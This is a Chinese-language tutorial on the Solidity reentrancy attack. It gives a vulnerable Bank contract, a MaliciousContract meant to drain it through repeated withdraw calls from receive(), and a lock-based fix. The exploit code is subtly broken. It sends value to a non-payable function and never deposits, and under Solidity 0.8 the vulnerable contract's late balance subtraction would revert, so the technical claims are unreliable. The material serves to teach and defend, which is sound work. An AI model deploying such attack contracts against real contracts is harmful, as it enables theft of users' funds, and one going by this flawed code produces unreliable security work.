智能合约 重入攻击(Reentrancy Attack)

629 阅读3分钟

攻击解释

攻击者在合约调用过程中多次进入目标合约的外部函数,从而重复执行恶意代码,常见于合约与外部合约的交互中。例如,攻击者通过在转账函数中调用一个恶意合约,恶意合约再次调用目标合约的转账函数,导致攻击者多次提取资金。

漏洞代码

pragma solidity ^0.8.0;

contract Bank {
    mapping(address => uint256) balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Withdrawal failed");
        balances[msg.sender] -= amount;
    }
}

合约解释:

在这个合约中,用户可以存款和提款。然而,这个合约存在一个重入漏洞,攻击者可以通过恶意合约来多次执行 withdraw 函数并重复提款,从而造成资金的重复提取。

攻击者可以创建一个恶意合约,当恶意合约调用 Bank 合约的 withdraw 函数时,在提款完成之前再次调用 withdraw 函数,从而反复提取资金。这是因为 withdraw 函数在更新账户余额之前执行了外部合约调用,导致合约处于可重入状态。

为了防止 Reentrancy Attack,可以使用修饰器或使用锁机制来确保在外部合约调用之前更新账户余额,或者使用 transfer 函数代替 call 函数来执行转账操作,以确保只能发送一次转账。

攻击合约

pragma solidity ^0.8.0;

contract MaliciousContract {
    address bankAddress = <Bank合约地址>; // 填入实际的Bank合约地址
    bool attackExecuted = false;

    function attack() public payable {
        require(!attackExecuted, "Attack already executed");

        // 调用 Bank 合约的 withdraw 函数,触发重入攻击
        (bool success, ) = bankAddress.call{value: msg.value}(
            abi.encodeWithSignature("withdraw(uint256)", msg.value)
        );
        require(success, "Attack failed");

        attackExecuted = true;
    }

    receive() external payable {
        // 收到来自 Bank 合约的转账时,继续执行攻击
        if (msg.sender == bankAddress) {
            attack();
        }
    }
}

合约解释:

在这个攻击合约中,攻击者创建了一个名为 MaliciousContract 的合约。通过调用 attack 函数,攻击者触发重入攻击。

attack 函数中,攻击者调用 Bank 合约的 withdraw 函数,并传递相同的价值作为参数。当 Bank 合约执行转账操作时,会调用攻击合约的 receive 函数。

receive 函数中,攻击者检测到来自 Bank 合约的转账,然后再次执行 attack 函数,实现重复执行攻击的效果。通过反复执行这一过程,攻击者可以重复提取合约中的资金,造成损失。

需要注意的是,攻击合约中的 bankAddress 需要替换为实际部署的 Bank 合约地址,以便正确指向目标合约。

修复方法

pragma solidity ^0.8.0;

contract Bank {
    mapping(address => uint256) balances;
    mapping(address => bool) locked;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        require(!locked[msg.sender], "Withdrawal in progress");
        
        locked[msg.sender] = true; // 设置锁定状态
        
        balances[msg.sender] -= amount;
        
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Withdrawal failed");
        
        locked[msg.sender] = false; // 解锁
    }
}

合约解释:

修复后的代码在 withdraw 函数中添加了锁定机制,确保同一个账户只能同时执行一个提款操作。这样,即使攻击者尝试在同一时间内重入合约,合约会检测到锁定状态,并拒绝执行重复的提款操作。